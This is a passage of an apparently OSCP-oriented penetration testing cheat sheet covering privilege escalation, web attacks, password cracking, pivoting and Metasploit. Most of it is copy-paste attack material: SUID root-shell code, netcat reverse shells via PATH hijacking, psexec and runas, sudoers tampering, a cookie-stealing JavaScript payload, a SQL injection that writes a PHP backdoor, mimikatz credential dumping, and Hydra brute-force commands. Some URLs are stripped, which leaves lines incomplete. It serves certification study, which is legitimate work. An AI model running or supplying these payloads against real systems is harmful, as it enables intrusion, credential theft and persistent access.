     find / \( -perm -o w -perm -o x \) -type d 2>/dev/null   # world-writeable & executable folders
  • There are a few scripts that can automate the linux enumeration process:

    • Google is my favorite Linux Kernel exploitation search tool. Many of these automated checkers are missing important kernel exploits which can create a very frustrating blindspot during your OSCP course.

    • - My favorite automated linux priv enumeration checker -

    • LinEnum - (Recently Updated)

    • linux-exploit-suggester (Recently Updated)

    • Linux Local Enum - Great enumeration script!


    • Linux Privilege Exploit Suggester (Old has not been updated in years)

    • Linux post exploitation enumeration and exploit checking tools

Handy Kernel Exploits

  • CVE-2010-2959 - ‘CAN BCM’ Privilege Escalation - Linux Kernel < 2.6.36-rc1 (Ubuntu 10.04 / 2.6.32)

     wget -O i-can-haz-modharden.c
     $ gcc i-can-haz-modharden.c -o i-can-haz-modharden
     $ ./i-can-haz-modharden
     [+] launching root shell!
     # id
     uid=0(root) gid=0(root)
  • CVE-2010-3904 - Linux RDS Exploit - Linux Kernel <= 2.6.36-rc8

  • CVE-2012-0056 - Mempodipper - Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64)
    Linux CVE 2012-0056

      wget -O exploit.c 
      gcc -o mempodipper exploit.c  
  • CVE-2016-5195 - Dirty Cow - Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8
    First existed on 2.6.22 (released in 2007) and was fixed on Oct 18, 2016

  • Run a command as a user other than root

      sudo -u haxzor /usr/bin/vim /etc/apache2/sites-available/000-default.conf
  • Add a user or change a password

      /usr/sbin/useradd -p 'openssl passwd -1 thePassword' haxzor  
      echo thePassword | passwd haxzor --stdin
  • Local Privilege Escalation Exploit in Linux

    • SUID (Set owner User ID up on execution)
      Often SUID C binary files are required to spawn a shell as a superuser, you can update the UID / GID and shell as required.

      below are some quick copy and paste examples for various shells:

        SUID C Shell for /bin/bash  
        int main(void){  
        setresuid(0, 0, 0);  
        SUID C Shell for /bin/sh  
        int main(void){  
        setresuid(0, 0, 0);  
        Building the SUID Shell binary  
        gcc -o suid suid.c  
        For 32 bit:  
        gcc -m32 -o suid suid.c
    • Create and compile an SUID from a limited shell (no file transfer)

        echo "int main(void){\nsetgid(0);\nsetuid(0);\nsystem(\"/bin/sh\");\n}" >privsc.c  
        gcc privsc.c -o privsc
  • Handy command if you can get a root user to run it. Add the www-data user to Root SUDO group with no password requirement:

    echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update

  • You may find a command is being executed by the root user, you may be able to modify the system PATH environment variable to execute your command instead. In the example below, ssh is replaced with a reverse shell SUID connecting to on port 4444.

     set PATH="/tmp:/usr/local/bin:/usr/bin:/bin"
     echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 4444 >/tmp/f" >> /tmp/ssh
     chmod +x ssh
  • SearchSploit

          searchsploit –uncsearchsploit apache 2.2  
          searchsploit "Linux Kernel"  
          searchsploit linux 2.6 | grep -i ubuntu | grep local  
          searchsploit slmail
  • Kernel Exploit Suggestions for Kernel Version 3.0.0

    ./usr/share/linux-exploit-suggester/ -k 3.0.0

  • Precompiled Linux Kernel Exploits - Super handy if GCC is not installed on the target machine!

  • Collect root password

    cat /etc/shadow |grep root

  • Find and display the proof.txt or flag.txt - LOOT!

        cat `find / -name proof.txt -print`
  • Windows Privilege Escalation

  • Windows Privilege Escalation resource

  • Metasploit Meterpreter Privilege Escalation Guide

  • Try the obvious - Maybe the user is SYSTEM or is already part of the Administrator group:


    net user "%username%"

  • Try the getsystem command using meterpreter - rarely works but is worth a try.

    meterpreter > getsystem

  • No File Upload Required Windows Privlege Escalation Basic Information Gathering (based on the fuzzy security tutorial and

    Copy and paste the following contents into your remote Windows shell in Kali to generate a quick report:

     @echo --------- BASIC WINDOWS RECON ---------  > report.txt
     timeout 1
     net config Workstation  >> report.txt
     timeout 1
     systeminfo | findstr /B /C:"OS Name" /C:"OS Version" >> report.txt
     timeout 1
     hostname >> report.txt
     timeout 1
     net users >> report.txt
     timeout 1
     ipconfig /all >> report.txt
     timeout 1
     route print >> report.txt
     timeout 1
     arp -A >> report.txt
     timeout 1
     netstat -ano >> report.txt
     timeout 1
     netsh firewall show state >> report.txt	
     timeout 1
     netsh firewall show config >> report.txt
     timeout 1
     schtasks /query /fo LIST /v >> report.txt
     timeout 1
     tasklist /SVC >> report.txt
     timeout 1
     net start >> report.txt
     timeout 1
     DRIVERQUERY >> report.txt
     timeout 1
     reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated >> report.txt
     timeout 1
     reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated >> report.txt
     timeout 1
     dir /s *pass* == *cred* == *vnc* == *.config* >> report.txt
     timeout 1
     findstr /si password *.xml *.ini *.txt >> report.txt
     timeout 1
     reg query HKLM /f password /t REG_SZ /s >> report.txt
     timeout 1
     reg query HKCU /f password /t REG_SZ /s >> report.txt 
     timeout 1
     dir "C:\"
     timeout 1
     dir "C:\Program Files\" >> report.txt
     timeout 1
     dir "C:\Program Files (x86)\"
     timeout 1
     dir "C:\Users\"
     timeout 1
     dir "C:\Users\Public\"
     timeout 1
  • Windows Server 2003 and IIS 6.0 WEBDAV Exploiting

     msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=443 -f asp > aspshell.txt
     cadavar http://$ip
     dav:/> put aspshell.txt
     Uploading aspshell.txt to `/aspshell.txt':
     Progress: [=============================>] 100.0% of 38468 bytes succeeded.
     dav:/> copy aspshell.txt aspshell3.asp;.txt
     Copying `/aspshell3.txt' to `/aspshell3.asp%3b.txt':  succeeded.
     dav:/> exit
     msf > use exploit/multi/handler
     msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
     msf exploit(handler) > set LHOST
     msf exploit(handler) > set LPORT 80
     msf exploit(handler) > set ExitOnSession false
     msf exploit(handler) > exploit -j
     curl http://$ip/aspshell3.asp;.txt
     [*] Started reverse TCP handler on 
     [*] Starting the payload handler...
     [*] Sending stage (957487 bytes) to
     [*] Meterpreter session 1 opened ( -> at 2017-09-25 13:10:55 -0700
  • Windows privledge escalation exploits are often written in Python. So, it is necessary to compile the using into an executable and upload them to the remote server.

     pip install pyinstaller
     wget -O  
     python --onefile
  • Windows Server 2003 and IIS 6.0 privledge escalation using impersonation:

     /churrasco/-->Usage: Churrasco.exe [-d] "command to run"
     c:\Inetpub>churrasco -d "net user /add <username> <password>"
     c:\Inetpub>churrasco -d "net localgroup administrators <username> /add"
     c:\Inetpub>churrasco -d "NET LOCALGROUP "Remote Desktop Users" <username> /ADD"
  • Windows MS11-080 -

      python --onefile  
      mx11-080.exe -O XP
  • Powershell Exploits - You may find that some Windows privledge escalation exploits are written in Powershell. You may not have an interactive shell that allows you to enter the powershell prompt. Once the powershell script is uploaded to the server, here is a quick one liner to run a powershell command from a basic (cmd.exe) shell:


    powershell -ExecutionPolicy ByPass -command "& { . C:\Users\Public\Invoke-MS16-032.ps1; Invoke-MS16-032 }"

  • Powershell Priv Escalation Tools

  • Windows Run As - Switching users in linux is trival with the SU command. However, an equivalent command does not exist in Windows. Here are 3 ways to run a command as a different user in Windows.

    • Sysinternals psexec is a handy tool for running a command on a remote or local server as a specific user, given you have thier username and password. The following example creates a reverse shell from a windows server to our Kali box using netcat for Windows and Psexec (on a 64 bit system).

       C:\>psexec64 \\COMPUTERNAME -u Test -p test -h "c:\users\public\nc.exe -nc 4444 -e cmd.exe" 
       PsExec v2.2 - Execute processes remotely
       Copyright (C) 2001-2016 Mark Russinovich
       Sysinternals -
    • Runas.exe is a handy windows tool that allows you to run a program as another user so long as you know thier password. The following example creates a reverse shell from a windows server to our Kali box using netcat for Windows and Runas.exe:

       C:\>C:\Windows\System32\runas.exe /env /noprofile /user:Test "c:\users\public\nc.exe -nc 4444 -e cmd.exe"
       Enter the password for Test:
       Attempting to start nc.exe as user "COMPUTERNAME\Test" ...
    • PowerShell can also be used to launch a process as another user. The following simple powershell script will run a reverse shell as the specified username and password.

       $username = '<username here>'
       $password = '<password here>'
       $securePassword = ConvertTo-SecureString $password -AsPlainText -Force
       $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
       Start-Process -FilePath C:\Users\Public\nc.exe -NoNewWindow -Credential $credential -ArgumentList ("-nc","","4444","-e","cmd.exe") -WorkingDirectory C:\Users\Public

      Next run this script using powershell.exe:

      powershell -ExecutionPolicy ByPass -command "& { . C:\Users\public\PowerShellRunAs.ps1; }"

  • Windows Service Configuration Viewer - Check for misconfigurations in services that can lead to privilege escalation. You can replace the executable with your own and have windows execute whatever code you want as the privileged user.
    icacls scsiaccess.exe

  • Compile a custom add user command in windows using C

    [email protected]:~# cat useradd.c  
    #include <stdlib.h> /* system, NULL, EXIT_FAILURE */  
    int main ()  
    int i;  
    i=system ("net localgroup administrators low /add");  
    return 0;  

    i686-w64-mingw32-gcc -o scsiaccess.exe useradd.c

  • Group Policy Preferences (GPP)
    A common useful misconfiguration found in modern domain environments is unprotected Windows GPP settings files

    • map the Domain controller SYSVOL share

      net use z:\\dc01\SYSVOL

    • Find the GPP file: Groups.xml

      dir /s Groups.xml

    • Review the contents for passwords

      type Groups.xml

    • Decrypt using GPP Decrypt

      gpp-decrypt riBZpPtHOGtVk+SdLOmJ6xiNgFH6Gp45BoP3I6AnPgZ1IfxtgI67qqZfgh78kBZB

  • Find and display the proof.txt or flag.txt - get the loot!

    #meterpreter > run post/windows/gather/win_privs cd\ & dir /b /s proof.txt type c:\pathto\proof.txt

Client, Web and Password Attacks

  • Client Attacks

  • Web Attacks

    • Web Shag Web Application Vulnerability Assessment Platform

    • Web Shells
      ls -l /usr/share/webshells/

    • Generate a PHP backdoor (generate) protected with the given password (s3cr3t)
      weevely generate s3cr3t
      weevely http://$ip/weevely.php s3cr3t

    • Java Signed Applet Attack

    • HTTP / HTTPS Webserver Enumeration

      • OWASP Dirbuster

      • nikto -h $ip

    • Essential Iceweasel Add-ons
      Cookies Manager
      Tamper Data

    • Cross Site Scripting (XSS)
      significant impacts, such as cookie stealing and authentication bypass, redirecting the victim’s browser to a malicious HTML page, and more

    • Browser Redirection and IFRAME Injection

      <iframe SRC="http://$ip/report" height = "0" width="0"></iframe>
    • Stealing Cookies and Session Information

      new image().src="http://$ip/bogus.php?output="+document.cookie;  

      nc -nlvp 80

  • File Inclusion Vulnerabilities

    • Local (LFI) and remote (RFI) file inclusion vulnerabilities are commonly found in poorly written PHP code.

    • fimap - There is a Python tool called fimap which can be leveraged to automate the exploitation of LFI/RFI vulnerabilities that are found in PHP (sqlmap for LFI):

      • Gaining a shell from phpinfo()
        fimap + phpinfo() Exploit - If a phpinfo() file is present, it’s usually possible to get a shell, if you don’t know the location of the phpinfo file fimap can probe for it, or you could use a tool like OWASP DirBuster.
    • For Local File Inclusions look for the include() function in PHP code.

    • LFI - Encode and Decode a file using base64

      curl -s \
      "http://$ip/?page=php://filter/convert.base64-encode/resource=index" \
      | grep -e '\[^\\ \]\\{40,\\}' | base64 -d
    • LFI - Download file with base 64 encoding

    • LFI Linux Files:

    • LFI Windows Files:

    • LFI OSX Files:

    • LFI - Download passwords file

    • LFI - Download passwords file with filter evasion

    • Local File Inclusion - In versions of PHP below 5.3 we can terminate with null byte
      GET /addguestbook.php?name=Haxor&comment=Merci!&LANG=../../../../../../../windows/system32/drivers/etc/hosts%00

    • Contaminating Log Files <?php echo shell_exec($_GET['cmd']);?>

    • For a Remote File Inclusion look for php code that is not sanitized and passed to the PHP include function and the php.ini file must be configured to allow remote files

      /etc/php5/cgi/php.ini - “allow_url_fopen” and “allow_url_include” both set to “on”


    • Remote File Inclusion

      <?php echo shell\_exec("ipconfig");?>

  • Database Vulnerabilities

    • Playing with SQL Syntax A great tool I have found for playing with SQL Syntax for a variety of database types (MSSQL Server, MySql, PostGreSql, Oracle) is SQL Fiddle:

    Another site is

    • Detecting SQL Injection Vulnerabilities.

      Most modern automated scanner tools use time delay techniques to detect SQL injection vulnerabilities. This method can tell you if a SQL injection vulnerability is present even if it is a “blind” sql injection vulnerabilit that does not provide any data back. You know your SQL injection is working when the server takes a LOooooong time to respond. I have added a line comment at the end of each injection statement just in case there is additional SQL code after the injection point.

      • MSSQL Server SQL Injection Time Delay Detection: Add a 30 second delay to a MSSQL Server Query

        • Original Query

          SELECT * FROM products WHERE name='Test';

        • Injection Value

          '; WAITFOR DELAY '00:00:30'; --

        • Resulting Query

          SELECT * FROM products WHERE name='Test'; WAITFOR DELAY '00:00:30'; --

      • MySQL Injection Time Delay Detection: Add a 30 second delay to a MySQL Query

        • Original Query

          SELECT * FROM products WHERE name='Test';

        • Injection Value

          '-SLEEP(30); #

        • Resulting Query

          SELECT * FROM products WHERE name='Test'-SLEEP(30); #

      • PostGreSQL Injection Time Delay Detection: Add a 30 second delay to an PostGreSQL Query

        • Original Query

          SELECT * FROM products WHERE name='Test';

        • Injection Value

          '; SELECT pg_sleep(30); --

        • Resulting Query

          SELECT * FROM products WHERE name='Test'; SELECT pg_sleep(30); --

    • Grab password hashes from a web application mysql database called “Users” - once you have the MySQL root username and password

        mysql -u root -p -h $ip
        use "Users"  
        show tables;  
        select \* from users;
    • Authentication Bypass

        name='wronguser' or 1=1;  
        name='wronguser' or 1=1 LIMIT 1;
    • Enumerating the Database'

      Verbose error message?

      http://$ip/comment.php?id=738 order by 1

      http://$ip/comment.php?id=738 union all select 1,2,3,4,5,6

      Determine MySQL Version:

      http://$ip/comment.php?id=738 union all select 1,2,3,4,@@version,6

      Current user being used for the database connection:

      http://$ip/comment.php?id=738 union all select 1,2,3,4,user(),6

      Enumerate database tables and column structures

      http://$ip/comment.php?id=738 union all select 1,2,3,4,table_name,6 FROM information_schema.tables

      Target the users table in the database

      http://$ip/comment.php?id=738 union all select 1,2,3,4,column_name,6 FROM information_schema.columns where table_name='users'

      Extract the name and password

      http://$ip/comment.php?id=738 union select 1,2,3,4,concat(name,0x3a, password),6 FROM users

      Create a backdoor

      http://$ip/comment.php?id=738 union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/xampp/htdocs/backdoor.php'

    • SQLMap Examples

    • Crawl the links

      sqlmap -u http://$ip --crawl=1

      sqlmap -u --forms --batch --crawl=10 --cookie=jsessionid=54321 --level=5 --risk=3

    • SQLMap Search for databases against a suspected GET SQL Injection

      sqlmap –u http://$ip/blog/index.php?search –dbs

    • SQLMap dump tables from database oscommerce at GET SQL injection

      sqlmap –u http://$ip/blog/index.php?search= –dbs –D oscommerce –tables –dumps

    • SQLMap GET Parameter command

      sqlmap -u http://$ip/comment.php?id=738 --dbms=mysql --dump -threads=5

    • SQLMap Post Username parameter

      sqlmap -u http://$ip/login.php --method=POST --data="[email protected]&password=1231" -p "usermail" --risk=3 --level=5 --dbms=MySQL --dump-all

    • SQL Map OS Shell

      sqlmap -u http://$ip/comment.php?id=738 --dbms=mysql --osshell

      sqlmap -u http://$ip/login.php --method=POST --data="[email protected]&password=1231" -p "usermail" --risk=3 --level=5 --dbms=MySQL --os-shell

    • Automated sqlmap scan

      sqlmap -u TARGET -p PARAM --data=POSTDATA --cookie=COOKIE --level=3 --current-user --current-db --passwords --file-read="/var/www/blah.php"

    • Targeted sqlmap scan

      sqlmap -u "" --dbms=mysql --tech=U --random-agent --dump

    • Scan url for union + error based injection with mysql backend and use a random user agent + database dump

      sqlmap -o -u http://$ip/index.php --forms --dbs

      sqlmap -o -u "http://$ip/form/" --forms

    • Sqlmap check form for injection

      sqlmap -o -u "http://$ip/vuln-form" --forms -D database-name -T users --dump

    • Enumerate databases

      sqlmap --dbms=mysql -u "$URL" --dbs

    • Enumerate tables from a specific database

      sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" --tables

    • Dump table data from a specific database and table

      sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" -T "$TABLE" --dump

    • Specify parameter to exploit

      sqlmap --dbms=mysql -u "" --dbs -p param2

    • Specify parameter to exploit in ‘nice’ URIs (exploits param1)

      sqlmap --dbms=mysql -u "*/param2/value2" --dbs

    • Get OS shell

      sqlmap --dbms=mysql -u "$URL" --os-shell

    • Get SQL shell

      sqlmap --dbms=mysql -u "$URL" --sql-shell

    • SQL query

      sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" --sql-query "SELECT * FROM $TABLE;"

    • Use Tor Socks5 proxy

      sqlmap --tor --tor-type=SOCKS5 --check-tor --dbms=mysql -u "$URL" --dbs

  • NoSQLMap Examples You may encounter NoSQL instances like MongoDB in your OSCP journies (/cgi-bin/mongo/2.2.3/ NoSQLMap can help you to automate NoSQLDatabase enumeration.

  • NoSQLMap Installation

    git clone
    cd NoSQLMap/
    pip install couchdb
    pip install pbkdf2
    pip install ipcalc
  • Often you can create an exception dump message with MongoDB using a malformed NoSQLQuery such as:

    a'; return this.a != 'BadData’'; var dummy='!

  • Password Attacks

    • AES Decryption

    • Convert multiple webpages into a word list

      for x in 'index' 'about' 'post' 'contact' ; do \
        curl http://$ip/$x.html | html2markdown | tr -s ' ' '\\n' >> webapp.txt ; \
    • Or convert html to word list dict
      html2dic index.html.out | sort -u > index-html.dict

    • Default Usernames and Passwords

    • Brute Force

      • Nmap Brute forcing Scripts

      • Nmap Generic auto detect brute force attack: nmap --script brute -Pn < or ip>

      • MySQL nmap brute force attack: nmap --script=mysql-brute $ip

    • Dictionary Files

      • Word lists on Kali
        cd /usr/share/wordlists
    • Key-space Brute Force

      • crunch 6 6 0123456789ABCDEF -o crunch1.txt

      • crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha

      • crunch 8 8 -t ,@@^^%%%

    • Pwdump and Fgdump - Security Accounts Manager (SAM)

      • pwdump.exe - attempts to extract password hashes

      • fgdump.exe - attempts to kill local antiviruses before attempting to dump the password hashes and cached credentials.

    • Windows Credential Editor (WCE)

      • allows one to perform several attacks to obtain clear text passwords and hashes. Usage: wce -w
    • Mimikatz

      • extract plaintexts passwords, hash, PIN code and kerberos tickets from memory. mimikatz can also perform pass-the-hash, pass-the-ticket or build Golden tickets From metasploit meterpreter (must have System level access):

        meterpreter> load mimikatz
        meterpreter> help mimikatz
        meterpreter> msv
        meterpreter> kerberos
        meterpreter> mimikatz_command -f samdump::hashes
        meterpreter> mimikatz_command -f sekurlsa::searchPasswords
    • Password Profiling

      • cewl can generate a password list from a web page
        cewl -m 6 -w megacorp-cewl.txt
    • Password Mutating

      • John the ripper can mutate password lists
        nano /etc/john/john.conf
        john --wordlist=megacorp-cewl.txt --rules --stdout > mutated.txt
    • Medusa

      • Medusa, initiated against an htaccess protected web directory
        medusa -h $ip -u admin -P password-file.txt -M http -m DIR:/admin -T 10
    • Ncrack

      • ncrack (from the makers of nmap) can brute force RDP
        ncrack -vv --user offsec -P password-file.txt rdp://$ip
    • Hydra

      • Hydra brute force against SNMP

        hydra -P password-file.txt -v $ip snmp

      • Hydra FTP known user and rockyou password list

        hydra -t 1 -l admin -P /usr/share/wordlists/rockyou.txt -vV $ip ftp

      • Hydra SSH using list of users and passwords

        hydra -v -V -u -L users.txt -P passwords.txt -t 1 -u $ip ssh

      • Hydra SSH using a known password and a username list

        hydra -v -V -u -L users.txt -p "<known password>" -t 1 -u $ip ssh

      • Hydra SSH Against Known username on port 22

        hydra $ip -s 22 ssh -l <user> -P big_wordlist.txt

      • Hydra POP3 Brute Force

        hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f $ip pop3 -V

      • Hydra SMTP Brute Force

        hydra -P /usr/share/wordlistsnmap.lst $ip smtp -V

      • Hydra attack http get 401 login with a dictionary

        hydra -L ./webapp.txt -P ./webapp.txt $ip http-get /admin

      • Hydra attack Windows Remote Desktop with rockyou

        hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://$ip

      • Hydra brute force SMB user with rockyou:

        hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt $ip smb

      • Hydra brute force a Wordpress admin login

        hydra -l admin -P ./passwordlist.txt $ip -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'

  • Password Hash Attacks

    apt-get install libhwloc-dev ocl-icd-dev ocl-icd-opencl-dev


    apt-get install pocl-opencl-icd

    Cracking Linux Hashes - /etc/shadow file

     500 | md5crypt $1$, MD5(Unix)                          | Operating-Systems
    3200 | bcrypt $2*$, Blowfish(Unix)                      | Operating-Systems
    7400 | sha256crypt $5$, SHA256(Unix)                    | Operating-Systems
    1800 | sha512crypt $6$, SHA512(Unix)                    | Operating-Systems

    Cracking Windows Hashes

    3000 | LM                                               | Operating-Systems
    1000 | NTLM                                             | Operating-Systems

    Cracking Common Application Hashes

      900 | MD4                                              | Raw Hash
        0 | MD5                                              | Raw Hash
     5100 | Half MD5                                         | Raw Hash
      100 | SHA1                                             | Raw Hash
    10800 | SHA-384                                          | Raw Hash
     1400 | SHA-256                                          | Raw Hash
     1700 | SHA-512                                          | Raw Hash

    Create a .hash file with all the hashes you want to crack puthasheshere.hash: $1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/

    Hashcat example cracking Linux md5crypt passwords $1$ using rockyou:

    hashcat --force -m 500 -a 0 -o found1.txt --remove puthasheshere.hash /usr/share/wordlists/rockyou.txt

    Wordpress sample hash: $P$B55D6LjfHDkINU5wF.v2BuuzO0/XPk/

    Wordpress clear text: test

    Hashcat example cracking Wordpress passwords using rockyou:

    hashcat --force -m 400 -a 0 -o found1.txt --remove wphash.hash /usr/share/wordlists/rockyou.txt

    • Sample Hashes

    • Identify Hashes


    • To crack linux hashes you must first unshadow them:

      unshadow passwd-file.txt shadow-file.txt

      unshadow passwd-file.txt shadow-file.txt > unshadowed.txt

  • John the Ripper - Password Hash Cracking

    • john $ip.pwdump

    • john --wordlist=/usr/share/wordlists/rockyou.txt hashes

    • john --rules --wordlist=/usr/share/wordlists/rockyou.txt

    • john --rules --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt

    • JTR forced descrypt cracking with wordlist

      john --format=descrypt --wordlist /usr/share/wordlists/rockyou.txt hash.txt

    • JTR forced descrypt brute force cracking

      john --format=descrypt hash --show

  • Passing the Hash in Windows

    • Use Metasploit to exploit one of the SMB servers in the labs. Dump the password hashes and attempt a pass-the-hash attack against another system:

      export SMBHASH=aad3b435b51404eeaad3b435b51404ee:6F403D3166024568403A94C3A6561896

      pth-winexe -U administrator //$ip cmd

Networking, Pivoting and Tunneling

  • Port Forwarding - accept traffic on a given IP address and port and redirect it to a different IP address and port

    • apt-get install rinetd

    • cat /etc/rinetd.conf

      # bindadress bindport connectaddress connectport
      w.x.y.z 53 a.b.c.d 80
  • SSH Local Port Forwarding: supports bi-directional communication channels

    • ssh <gateway> -L <local port to listen>:<remote host>:<remote port>
  • SSH Remote Port Forwarding: Suitable for popping a remote shell on an internal non routable network

    • ssh <gateway> -R <remote port to bind>:<local host>:<local port>
  • SSH Dynamic Port Forwarding: create a SOCKS4 proxy on our local attacking box to tunnel ALL incoming traffic to ANY host in the DMZ network on ANY PORT

    • ssh -D <local proxy port> -p <remote port> <target>
  • Proxychains - Perform nmap scan within a DMZ from an external computer

    • Create reverse SSH tunnel from Popped machine on :2222

      ssh -f -N -T -R22222:localhost:22 ssh -f -N -R 2222:<local host>:22 [email protected]<remote host>

    • Create a Dynamic application-level port forward on 8080 thru 2222

      ssh -f -N -D <local host>:8080 -p 2222 [email protected]<remote host>

    • Leverage the SSH SOCKS server to perform Nmap scan on network using proxy chains

      proxychains nmap --top-ports=20 -sT -Pn $ip/24

  • HTTP Tunneling

    nc -vvn $ip 8888

  • Traffic Encapsulation - Bypassing deep packet inspection

    • http tunnel
      On server side:
      sudo hts -F <server ip addr>:<port of your app> 80 On client side:
      sudo htc -P <my port> -F <port of your app> <server ip addr>:80 stunnel
  • Tunnel Remote Desktop (RDP) from a Popped Windows machine to your network

    • Tunnel on port 22

      plink -l root -pw pass -R 3389:<localhost>:3389 <remote host>

    • Port 22 blocked? Try port 80? or 443?

      plink -l root -pw 23847sd98sdf987sf98732 -R 3389:<local host>:3389 <remote host> -P80

  • Tunnel Remote Desktop (RDP) from a Popped Windows using HTTP Tunnel (bypass deep packet inspection)

    • Windows machine add required firewall rules without prompting the user

    • netsh advfirewall firewall add rule name="httptunnel_client" dir=in action=allow program="httptunnel_client.exe" enable=yes

    • netsh advfirewall firewall add rule name="3000" dir=in action=allow protocol=TCP localport=3000

    • netsh advfirewall firewall add rule name="1080" dir=in action=allow protocol=TCP localport=1080

    • netsh advfirewall firewall add rule name="1079" dir=in action=allow protocol=TCP localport=1079

    • Start the http tunnel client


    • Create HTTP reverse shell by connecting to localhost port 3000

      plink -l root -pw 23847sd98sdf987sf98732 -R 3389:<local host>:3389 <remote host> -P 3000

  • VLAN Hopping

    • git clone  
      chmod 700  
  • VPN Hacking

    • Identify VPN servers:
      ./ -p ike $ip

    • Scan a range for VPN servers:
      ./ -p ike -f ip.txt

    • Use IKEForce to enumerate or dictionary attack VPN servers:

      pip install pyip

      git clone

      Perform IKE VPN enumeration with IKEForce:

      ./ TARGET-IP –e –w wordlists/groupnames.dic

      Bruteforce IKE VPN using IKEForce:

      ./ TARGET-IP -b -i groupid -u dan -k psk123 -w passwords.txt -s 1 Use ike-scan to capture the PSK hash:

      ike-scan TARGET-IP  
      ike-scan -A TARGET-IP  
      ike-scan -A TARGET-IP --id=myid -P TARGET-IP-key  
      ike-scan –M –A –n example\_group -P hash-file.txt TARGET-IP

      Use psk-crack to crack the PSK hash

      psk-crack hash-file.txt  
      psk-crack -b 5 TARGET-IPkey  
      psk-crack -b 5 --charset="01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 192-168-207-134key  
      psk-crack -d /path/to/dictionary-file TARGET-IP-key
  • PPTP Hacking

    • Identifying PPTP, it listens on TCP: 1723
      NMAP PPTP Fingerprint:

      nmap –Pn -sV -p 1723 TARGET(S) PPTP Dictionary Attack

      thc-pptp-bruter -u hansolo -W -w /usr/share/wordlists/nmap.lst

  • Port Forwarding/Redirection

  • PuTTY Link tunnel - SSH Tunneling

    • Forward remote port to local address:

      plink.exe -P 22 -l root -pw "1337" -R 445:<local host>:445 <remote host>

  • SSH Pivoting

    • SSH pivoting from one network to another:

      ssh -D <local host>:1010 -p 22 [email protected]<remote host>

  • DNS Tunneling

    • dnscat2 supports “download” and “upload” commands for getting iles (data and programs) to and from the target machine.

    • Attacking Machine Installation:

      apt-get update  
      apt-get -y install ruby-dev git make g++  
      gem install bundler  
      git clone  
      cd dnscat2/server  
      bundle install
    • Run dnscat2:

      ruby ./dnscat2.rb  
      dnscat2> New session established: 1422  
      dnscat2> session -i 1422
    • Target Machine:

      dnscat --host <dnscat server ip>

The Metasploit Framework

  • See Metasploit Unleashed Course in the Essentials

  • Search for exploits using Metasploit GitHub framework source code:
    Translate them for use on OSCP LAB or EXAM.

  • Metasploit

    • MetaSploit requires Postfresql

      systemctl start postgresql

    • To enable Postgresql on startup

      systemctl enable postgresql

  • MSF Syntax

    • Start metasploit


      msfconsole -q

    • Show help for command

      show -h

    • Show Auxiliary modules

      show auxiliary

    • Use a module

      use auxiliary/scanner/snmp/snmp_enum  
      use auxiliary/scanner/http/webdav_scanner  
      use auxiliary/scanner/smb/smb_version  
      use auxiliary/scanner/ftp/ftp_login  
      use exploit/windows/pop3/seattlelab_pass
    • Show the basic information for a module


    • Show the configuration parameters for a module

      show options

    • Set options for a module

      set RHOSTS  
      set THREADS 10
    • Run the module


    • Execute an Exploit


    • Search for a module

      search type:auxiliary login

  • Metasploit Database Access

    • Show all hosts discovered in the MSF database


    • Scan for hosts and store them in the MSF database


    • Search machines for specific ports in MSF database

      services -p 443

    • Leverage MSF database to scan SMB ports (auto-completed rhosts)

      services -p 443 --rhosts

  • Staged and Non-staged

    • Non-staged payload - is a payload that is sent in its entirety in one go

    • Staged - sent in two parts Not have enough buffer space Or need to bypass antivirus

  • MS 17-010 - EternalBlue

    • You may find some boxes that are vulnerable to MS17-010 (AKA. EternalBlue). Although, not offically part of the indended course, this exploit can be leveraged to gain SYSTEM level access to a Windows box. I have never had much luck using the built in Metasploit EternalBlue module. I found that the elevenpaths version works much more relabily. Here are the instructions to install it taken from the following YouTube video:
      1. First step is to configure the Kali to work with wine 32bit

      dpkg –add-architecture i386 && apt-get update && apt-get install wine32 rm -r ~/.wine wine cmd.exe exit

    1. Download the exploit repostory

    2. Move the exploit to /usr/share/metasploit-framework/modules/exploits/windows/smb or ~/.msf4/modules/exploits/windows/smb

    3. Start metasploit console

    • I found that using spoolsv.exe as the PROCESSINJECT yielded results on OSCP boxes.

      use exploit/windows/smb/eternalblue_doublepulsar msf exploit(eternalblue_doublepulsar) > set RHOST RHOST => msf exploit(eternalblue_doublepulsar) > set PROCESSINJECT spoolsv.exe PROCESSINJECT => spoolsv.exe msf exploit(eternalblue_doublepulsar) > run

  • Experimenting with Meterpreter

    • Get system information from Meterpreter Shell


    • Get user id from Meterpreter Shell


    • Search for a file

      search -f *pass*.txt

    • Upload a file

      upload /usr/share/windows-binaries/nc.exe c:\\Users\\Offsec

    • Download a file

      download c:\\Windows\\system32\\calc.exe /tmp/calc.exe

    • Invoke a command shell from Meterpreter Shell


    • Exit the meterpreter shell


  • Metasploit Exploit Multi Handler

    • multi/handler to accept an incoming reverse_https_meterpreter

      use exploit/multi/handler  
      set PAYLOAD windows/meterpreter/reverse_https  
      set LHOST $ip  
      set LPORT 443  
      [*] Started HTTPS reverse handler on https://$ip:443/
  • Building Your Own MSF Module

    • mkdir -p ~/.msf4/modules/exploits/linux/misc  
      cd ~/.msf4/modules/exploits/linux/misc  
